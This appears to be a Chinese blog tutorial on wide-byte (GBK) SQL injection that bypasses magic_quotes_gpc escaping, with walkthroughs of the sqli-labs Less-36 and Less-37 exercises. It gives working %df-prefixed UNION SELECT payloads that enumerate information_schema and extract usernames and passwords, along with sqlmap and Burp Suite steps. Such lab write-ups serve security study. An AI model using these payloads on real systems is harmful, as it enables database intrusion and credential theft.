1 魔术引号
1.1 magic_quotes_gpc(魔术引号开关)
magic_quotes_gpc是PHP中的一个函数,它主要用于自动将接收到的HTTP请求参数(GET、POST、COOKIE等)中的字符转义。在某些情况下,接收到的参数存在SQL注入攻击的风险,因此需要进行转义处理来防止攻击
具体来说,当这个选项被打开时,PHP会对如下字符自动添加反斜杠:
单引号('), 双引号("), 反斜杠(\), NULL字符(\0)
例如,如果接收到的参数中包含单引号('),那么在开启magic_quotes_gpc之后,PHP会自动将其转义为',当这个字符串被插入到 SQL 查询中时,单引号不会被解释为 SQL 语法的一部分,而是作为普通的字符处理,从而防止SQL注入攻击
不过需要注意的是,由于这个选项在最新版本的PHP中已经被弃用,因此应该尽可能避免使用该函数。替代方案可以使用mysqli_real_escape_string()函数或预处理语句来进行数据转义处理
1.2 开启魔术引号配置
魔术引号防护很常见,虽然魔术引号在PHP5.3.0后就被废除,5.4.0后就被移除,但是一般的CMS(内容管理系统)全部都有使用,有专门的魔术引号函数
魔术引号在低版本中默认开启
打开php.ini配置文件,如果magic_quotes_gpc = on,则开启了魔术引号
phpstudy可以在PHP扩展及设置->参数开关设置中打开magic_quotes_gpc
2 编码格式
宽字节是相对于ascii这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
3 宽字节注入原理
宽字节注入指的是 mysql 数据库在使用宽字节(如:GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,MYSQL会调用转义函数,将单引号变为 ',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
我们可以使用GBK编码程序来看看%df%5c到底是什么 https://www.baidu.com/s?ie=gpk&wd=%df%5c
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码,那么就有可能产生宽字节注入
例如说MySql的编码设置了SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞
为了绕过magic_quotes_gpc的 \,我们会想到传参一个字符,使其凑成一个gbk字符,例如:‘運’字是%df%5c
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
4 靶场实例
Less-36
尝试注入 id=1' 根据提示知道单引号被转义
这里尝试宽字节注入使单引号逃逸,注入 id=1%df' # 仍然报错,并发现下面提示没有#,说明注释没有起作用
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#,将#号改成url的编码%23就可以了
注入 id=1%df' %23成功
这里为方便还是选择 --+,发现+号在语句中变成了空格,用来和后面的单引号分隔开,将后面的语句注释。
注入 id=1%df' and 1=1 --+ 页面显示提示
注入 id=1%df' and 1=2 --+ 页面没有显示
注入 id=1 %df' and 1=2 order by 4 --+ 显示报错,说明页面有3个字段
注入 id=1%df' and 1=2 union select 1,2,3 --+ 根据显示知道2,3为显示位
注入 id=1%df' and 1=2 union select 1,database(),3 --+ 显示数据库名
显示数据表名
id=1%df' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 --+
输出users的字段名,但出现报错,根据提示是将单引号转义
id=1%df' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),3 --+
转换成16进制0x7573657273
id=1%df' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 1,1),3 --+
或使用子查询
id=1%df' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),3 --+
输出users表内容
id=1%df' and 1=2 union select 1,(select username from users limit 0,1 ),(select password from users limit 0,1) --+
使用sqlmap测试
抓包并新建txt
测试注入
sqlmap -r /home/kali/桌面/ceshi.txt --batch
注入成功
以下过程输入相关命令即可得到数据库信息,可自行操作
Less-37
注入 ' or 1=1 # 失败,发现也存在转义字符
使用宽字节注入 %df' or 1=1 #失败,发现没有实现引号逃逸
使用burp suite进行抓包,发现uname=%25df%27+or+1%3D1+%23&,其中%25是% 的 URL 编码,所以 %25df 解码后实际上是 %df 的字符串形式。无法和转义加入的%5c形成宽字节,也就不能注入成功
这里直接在burp suite中进行修改,将25去掉
注入成功
这里还可以采取直接在burp suite中直接进行宽字节注入
对 ' or 1=1 # 注入进行抓包
选择hex,找到需要操作的位置,右键选择插入字节
也可以成功注入
因为每次注入都需要重新抓包修改,这里可以选择直接使用burpsuite的重发器,更加方便快捷
抓包后右键选择发送给重发器
删除uname对应值中的25,直接发送,选择reader响应,注入成功,
将uname修改为 %df' and 1=2 order by 3 --+ 发现页面报错,说明页面显示位为2
将uname修改为 %df' and 1=2 union select 1,2 --+ 页面出现显示位
将uname修改为 %df' and 1=2 union select 1,database(),3 --+ 得到数据库名
剩下过程和Less-36注入语句同理,可自行操作
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/%e5%ae%bd%e5%ad%97%e8%8a%82%e6%b3%a8%e5%85%a5/
共有 0 条评论